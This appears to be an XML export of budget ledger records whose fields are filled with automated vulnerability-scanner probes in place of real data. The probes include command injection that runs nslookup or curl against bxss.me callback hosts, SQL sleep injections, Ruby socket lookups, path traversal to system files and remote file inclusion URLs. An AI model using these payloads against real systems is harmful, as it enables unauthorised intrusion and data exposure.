<row _id="1"><ledger_type>&amp;(nslookup -q=cname hitkgelbnmfxea0e4b.bxss.me||curl hitkgelbnmfxea0e4b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitkgelbnmfxea0e4b.bxss.me||curl hitkgelbnmfxea0e4b.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;nslookup -q=cname hitnvtfifhwyg94461.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitnvtfifhwyg94461.bxss.me&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"||sleep(27*1000)*qzsrhe||"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>$(nslookup -q=cname hityxflwdpvuxbda70.bxss.me||curl hityxflwdpvuxbda70.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'||sleep(27*1000)*qsltqf||'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(nslookup -q=cname hitutfeodsedub8dfc.bxss.me||curl hitutfeodsedub8dfc.bxss.me))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"&amp;&amp;sleep(27*1000)*tufaax&amp;&amp;"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>expr 9000411618 - 951045</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'&amp;&amp;sleep(27*1000)*bmoigp&amp;&amp;'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'"()</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://bxss.me/t/fit.txt%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>Http://bxss.me/t/fit.txt</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|echo ughdls$()\ lfwufk\nz^xyu||a #' |echo ughdls$()\ lfwufk\nz^xyu||a #|" |echo ughdls$()\ lfwufk\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;echo votrcm$()\ qgvewi\nz^xyu||a #' &amp;echo votrcm$()\ qgvewi\nz^xyu||a #|" &amp;echo votrcm$()\ qgvewi\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>^(#$!@#$)(()))******</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>c:/windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>echo wojzik$()\ jzwtfc\nz^xyu||a #' &amp;echo wojzik$()\ jzwtfc\nz^xyu||a #|" &amp;echo wojzik$()\ jzwtfc\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>!(()&amp;&amp;!|*|*|</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>/etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>^(#$!@#$)(()))******</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>^(#$!@#$)(()))******</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"||sleep(27*1000)*kjqzlt||"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>!(()&amp;&amp;!|*|*|</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||sleep(27*1000)*jvmafc||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"&amp;&amp;sleep(27*1000)*ugrwck&amp;&amp;"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'&amp;&amp;sleep(27*1000)*hyltnr&amp;&amp;'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'"()</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>^(#$!@#$)(()))******</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>!(()&amp;&amp;!|*|*|</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitihsdaeacemf8e2a.bxss.me||curl${IFS}hitihsdaeacemf8e2a.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitihsdaeacemf8e2a.bxss.me||curl${IFS}hitihsdaeacemf8e2a.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup${IFS}-q${IFS}cname${IFS}hitschemqrlck2b171.bxss.me||curl${IFS}hitschemqrlck2b171.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'A'.concat(70-3).concat(22*4).concat(114).concat(90).concat(101).concat(75)+(require'socket'
Socket.gethostbyname('hitra'+'xbphfuyi58bc0.bxss.me.')[3].to_s)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)|(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)&amp;(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'+'A'.concat(70-3).concat(22*4).concat(102).concat(83).concat(109).concat(86)+(require'socket'
Socket.gethostbyname('hitpl'+'zmzgfylzf707c.bxss.me.')[3].to_s)+'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>`(nslookup -q=cname hitncpdexmgre39d4a.bxss.me||curl hitncpdexmgre39d4a.bxss.me)`</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>"+"A".concat(70-3).concat(22*4).concat(105).concat(78).concat(109).concat(80)+(require"socket"
Socket.gethostbyname("hityv"+"ikqpfdco83dc6.bxss.me.")[3].to_s)+"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup -q=cname hithgodefwlrae93f0.bxss.me||curl hithgodefwlrae93f0.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup -q=cname hitsekuoyachwb52be.bxss.me||curl hitsekuoyachwb52be.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitsekuoyachwb52be.bxss.me||curl hitsekuoyachwb52be.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
